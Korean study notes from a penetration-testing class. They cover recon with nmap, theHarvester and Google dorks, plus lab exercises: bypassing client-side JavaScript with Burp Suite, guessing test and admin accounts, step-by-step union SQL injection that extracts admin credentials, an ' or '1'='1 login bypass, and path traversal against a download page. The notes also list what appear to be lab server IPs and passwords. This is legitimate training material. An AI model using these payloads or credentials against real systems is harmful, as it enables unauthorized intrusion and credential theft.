주관식
- request 메소드 중에 get 과 post 웹서버 로그에서 어떤식으로 되는지
get 변수 파라미터가 url 에 포함되어 있어 메인 로그에 기록됨
post 변수 파라미터가 url상에 보이지 않고 바디에 보여서 웹로그에 파라미터 부분이 보이지 않음 / 해커입장에서는 post 방식을 사용함
- xss , csrf 방식이 뭐가 다른지
xss 는 클라이언트에서 실행이 된다. csrf 는 서버에서 실행이 된다.
- db 쿼리값을 조작해서 시스템에 접근하는 공격을 뭐라고 부를까요
퀴리나 db 가 들어가면 SQL injection 이다.
- 취약점 분석 단계 , 정보수집단계부터 시작해서 취약점분석단계 → 공격 침투단계 → 전의단계 설명한 페이지 확인
- 모의해킹 공격을 할때 웹방화벽에서 탐지가 잘 안되는 공격들이 무엇인가
패턴기반은 탐지가 되지 않는다. 공격 중에 패턴으로 탐지하기 어려운 공격들이 있음 (아래참조)
- 파일업로드 공격(파일 내용을 다 까보지 못하니까, 확장자는 볼 수있음),
- URL 변수 공격(정상적인 공격으로 판단하지 때문에 웹 방화벽에서 탐지 하기 힘듬),
- 제로데이공격(패턴매칭 방식의 웹 방화벽 (알려진 패턴을 가지고 차단하기떄문에) 취약점은 발견은 됐지만, 패치가 안되어 웹방화벽에서 패턴을 패치하기 전 단계이기 떄문에 막기 힘들다.
https://padlet.com/jaeminsg/4-t06frufenmdt7edu
https://www.findip.kr/#google_vignette 공인아이피확인 사이트
210.121.193.52 : 테스트 서버
administrator / secul@b! (서버)
구내 네트워크 파악
- 윈도우 pc
ipconfig
ipconfig/all
http://whois.kisa.or.kr/kor/main.jsp
https://uic.io/ko/mac/ : 어떤 장비인지를 확인할떄 벤더가 어디있는지 확인
nmap -sV [IP]
nmap -A [IP]
nmap -Pn -A -sS [IP]
- kali linux
ifconfig : 내 아이피 찾는 것
hostname -I :리눅스 시스템에서 호스트의 IP 주소를 출력
netstat -r : 현재 시스템의 라우팅 테이블을 표시
netstat -an : 현재 시스템의 네트워크 연결 상태를 표시
ip r l : 리눅스 또는 유닉스 시스템에서 라우팅 테이블을 확인
curl -4 icanhazip.com : 도메인이름을 ip로 바꿔줌 cmd 명령에서는 nslookup www.naver.com
nmap --script smb-enum-shares [IP] : 폴더 공유하고 있는거 찾을 때
nmap --script smb-os-discovery [IP] : smb 사용하고 있는 걸 찾을 때
nmap -sV [IP]
theHarvester -d ABC.com -b google
- 모의해킹 : 취약점을 통해 악성코드를 심거나, DB 정보를 가져오는 작업까지 행함
- 취약점 진단 : 취약점이있다는 것만 식별하고 보고서 작성
해킹 일련의 과정
- 정찰
- 스캐닝 및 취약점 분석
- 침투
- 권한상승
- 백도어 관리
- 흔적지우기
타겟 스코핑
- 타켓 네트워크 환경의 스코프(범위)를 관찰, 이해
정보 수집
- 구글, 포럼, 게시판, 뉴스그룹, 기사, 블로그, 소셜네트워크 등 인터넷 리소스를 이용
타겟발견
- 사용중인 기술, 네트워크 구성장비, 운영중인 서비스
타겟 탐색
- 타겟시스템의 열린 포트 검색
취약점 매핑
- 포트와 서비스 정보를 이용해 취약점을 찾고 분석
장악 유지
- 장악을 유지하여 시연할 때 침투 테스트 과정을 다시 수행하지 않아도 되므로 시간, 비용 절감
- 프로토콜, 프록시, 단대단 연결방식 등을 이용하는 터널링 기술을 사용해서 필요한 기간 동안 숨어 있을 수 있다.
문서화와보고
- 모의해킹을 하면서 과정들을 캡쳐해서 문서화 시킨다. (문서화 시킬떄는 그걸 보고 따라 할 수 있을 정도로 만들어야한다)
- 마지막 단계로 발견, 검증, 익스플로잇한 취약점의 발표, 문서화, 보고를 해야한다.
www 를 제외하고 검색해야지 전체 URL을 볼 수 있다.
SITE : 구글 검색에서 특정 도메인이나 웹사이트 내에서 정보나 페이지를 검색할 때 사용하는 검색 연산자
INURL : 구글 검색에서 특정 URL 패턴을 찾기 위해 사용하는 검색 연산자
FILETYPE 구분해서 적어야함 ex) xls,doc,docx,php …
INTEXT : 사이트 안에 텍스트로 되어 있는 것 중 검색
NUMRANGE : 안에 있는 숫자들을 검색할떄 사용
구글 검색을 통한 예시
- filetype:xls 학번
https://www.exploit-db.com/google-hacking-database
특정 파일 찾기
filetype:xls 학번
index.of ws_ftp.log or filetype:log버전 확인
intitle:index.of "server at"
filetype:xls username password email
사내 인트라넷 검색
intitle: intranet inurl:intranet +intext:"human resources"
사용 예)
site:www.ABC.com
site:ABC.com : 고객사 사이트를 전체적으로 검색
site:ABC.com intitle:index.of : 디렉토리리스팅 페이지 검색
site:ABC.com intitle:login : 로그인 페이지 검색
site:ABC.com inrul:/admin : 관리자 페이지 검색
site:ABC.com intitle:관리자 : 관리자 페이지 검색
site:ABC.com filetype:xls : 파일검색
NMAP
nmap -sV 210.121.193.53
nmap -O 210.121.193.53
nmap -A 210.121.193.53
nmap -v --script vuln 210.121.193.53
nmap -Pn -A -sS 210.121.193.52
Pn = 보통 ICMP를통해 포트가 살아있는지 확인을 하는데 ping 을 안치고 바로 포트로 가겠다.
-O : 운영체제OS가 무엇인지 보여줌
-S : 서비스 버전을 보여줌
-A : -O + -S (이 서버 운영체제를 알려주고, 서비스 버전까지 보여주는 옵션)
-sS : 스캔을 할 떄 TCP 3way handshake 전체 연결을 맺는게 보통인데, sS 옵션은 스텔스모드라고 해서 중간에 끊어서 서버에서 모르게 하는 것. 세션을 맺어버리면 보안장비에서 알 수 있기 떄문에 스텔스 모드로 사용하기 위해 -sS 옵션을 사용한다.
-v : 과정이 안나와서 잘 돌아가는지 모를 때 사용
nmap —script vuln 210.121.193.52
칼리리눅스
pentest / secul@b!
sudo su -
secul@b!
웹 방화벽 유무
- wafw00f http://victim.org
nmap NSE (Nmap Scripting Engine)
Categories
- default : 타겟 도메인의 전반적인 항목에 대해 스캔 수행
- safe : 안전한 항목에 대해 스캔 수행
- auth : 인증과 관련된 스크립트, anonymous ftp 스캔 등
- discovery : 대상에 대한 깊이 있는 정보를 찾는 스크립트들
- external : 외부의 자원(resources)을 활용한 스크립트들
- intrusive : 대상에 대한 공격 시도를 하는 스크립트들
- malware : 백도어나 악성코드(malware) 점검과 관련된 스크립트들
- Vuln : 알려진 취약성을 점검하는 스크립트들
nessus
- 취약성 점검 프로그램
- 다양한 형태로 리포트를 제공하며 취약점에 대한 빠른 업데이트가 가능한 프로그램
- Essential 버전
- 무료
- 16개 IP 스캔가능
- 컴플라이언스 체크와 감사는 사용불가
CVE (Common Vulnerabilities and Exposure) 소프트웨어의 보안 취약점을 가리키는 표기법 CVE-2014-NNNN...N CVE-해당연도-취약점번호
▣ CVSS (Common Vulnerability Scoring System, 취약점 점수 시스템) 취약점의 심각도를 판단하는 기준
HTTP Request 웹 클라이언트가 웹 서버에게 자원을 요청하는 것 HTTP Request에 포함된 상세 정보
GET 과 POST의 차이
GET : URL 주소에 쭉 들어가게 적어서 웹로그만 보면 노출이 된다. → head 에 들어감
POST : 홈을 만들어서 그 안에 넣게 하는 방식, 웹로그만 보면 노출이 되지 않는다→ 변수가 Body 부분에 담김
PUT : put을 넣고 내용을 집어넣으면 그 서버에 들어가서 절대 사용 x
DELETE: 웹서버에 있는 자료를 삭제 할 수 있는 메소드
HTTP Response
200 OK : 서버 자원이 있다.
403 Forbidden : 서버 자원이 있는데, 금지 시킴
404 Not Found : 서버 자원이 없다.
Session
- 어떤 일이 시작되는 시점부터 끝날 때까지를 의미, 네트워크에서는 두 대의 시스템간의 활성화된 접속을 의미
세션 : 서버에 저장
쿠키 : PC에 저장
결국, 세션과 쿠키는 똑같은 값을 가진다.`
XSS
- 보는 사람이 게시물을 클릭하는 순간 스크립트가 실행 ( 쿠키정보를 팝업으로 띄울 수 있고, 밖으로 보낼 수도 있다.)
- 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며, 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취
SQL injection
- select mem_id from member; union select dong_juso from juso;
결과 예시)
test1
test2
test3
대치동
영화동
select dong from member where dong_name = ‘대치동’;
대치동’ 이런식으로 ‘ 를 하나 더 찍어서 검색을 하면
select dong from member where dong_name = ‘대치동’’ ; 으로
‘으로 에러 메시지가 나오게 되면, SQL injection 취약점을 발견할 수 있는 가능성이 높아진다.
아래와 같이 세밀론으로 문장을 끝내본다.
대치동’;
- where dong_name = ‘대치동’
- where dong_name = ‘대치동’’ (에러)
- where dong_name = ‘대치동’;—’ ( — 뒤를 무시하라는 뜻 , 에러안남)
- 대치동’ union select nul from information_schema.table ;—
- 글자 제한이 걸려있어서 필터링이 걸려있음 → 버퍼 슈트
- 대치동’ union select null,null,null,null,null,null from information_schema.table ;— (통과)
- 문자열에 숫자를 넣어 공백을 확인한다
- 대치동’ union select ‘1’,’2’,’3’,’4’,’5’,’6’ from information_schema.table ;—
- 대치동’ union select ‘1’,table_name,’3’,’4’,’5’,’6’ from information_schema.table ;—
- 대치동’ union select ‘1’,column_name,’3’,’4’,’5’,’6’ from information_schema.columns where table_name = ‘admin’ ;—
- 대치동’ union select ‘1’,admin_id,admin_pass,’4’,’5’,’6’ from admin ;—
- 어드민 아이디, 비밀번호가 보임
- 스캔했을때 어드민 페이지가 있는 것을 확인 http://192.168.145.136/admin
- 어드민 아이디, 비밀번호 넣고 접속
실습 1 회원가입 시 js 우회
실습 1
burp suite 설치
proxy tool 로서 request와 response를 중간에서 가로채서 보거나
수정할 수 있게 해주는 tool.. paros와 burp suite가 대표적이고 이외에도 몇개 더 있다.
210.121.193.52 camel
회원가입 - 주민등록번호 입력 우회
burp > porxy > intecept responses 에 체크 - close
open browser > 210.121.193.52 > intercept is on
회원가입 -burpsuite 에서 function jumin1(){ ~ document.form.submit();
사이를 삭제 > forward
이름대충 > 주민등록 번호 대충 > 회원가입 > intercept off
실습2 테스트 계정 찾기
실습 2
test 계정과 pw 찾기
아이디 : [ ] 중복체크기능 활용
일반계정 : test, test1, test2, ... test11,..... test123,...
관리자계정 : root, admin, manager,....
찾았으면 로그인 창으로 가서 패스워드 찾기
id와 동일, 1, 11, 111, ... 123, ... 1234, 0000 등
가능하면 2개 이상 찾기
실습 3 Union SQL injection
- union SQL Injection
- 문자 변수인지 숫자 변수인지 확인 대치동 대치동' 대치동';-- 대치동' union select 1,1,1,1,1 ;--
- 필드 길이제한 확인 burpsuite 에서 limit 해제 proxy > proxy setting > Response modification rules
Remove input field length limits
대치동' union select null,null,null,null from information_schema.tables;--
- 컬럼 갯수 맞추기
- 갯수 안맞으면 에러
- 숫자인지 문자인지 맞추기 null 을 1 (숫자) 또는 '1' 로 바꿔서 컬럼의 type 맞추기
- 적당한 필드에 table_name 넣어서 확인하기
- 찾은 table_name 의 column_name 확인하기
- 관리자 table 에서 관리자 id와 pw 확인하기
실습 3 Union SQL injection
대치동
대치동'
대치동';
대치동';--
proxy setting > remove input field length limit 체크
대치동' union select '1','2','3','4','5','6' from information_schema.tables ;--
대치동' union select '1',table_name,'3','4','5','6' from information_schema.tables;--
대치동' union select '1',column_name,'3','4','5','6' from information_schema.columns
where table_name = 'admin' ;--
대치동' union select '1',admin_id,admin_pass,'4','5','6' from admin;--
select admin_id, admin_pw from admin where admin_id = ‘test ‘ or ‘1’=’1’;
‘ or ‘1’=’1
다운로드 취약점
http://210.121.193.52/board/download.asp?file_name=/board/download.asp
http://210.121.193.52/board/download.asp?file_name=../board/download.asp
http://210.121.193.52/board/download.asp?file_name=../../board/download.asp
http://210.121.193.52/board/download.asp?file_name=../../board/index.asp (DB연결정보)
코드는 추후 사용할 수 있기때문에 메모장에 복사해 놓는다.
http://210.121.193.52/board/download.asp?file_name=../../board/dns.asp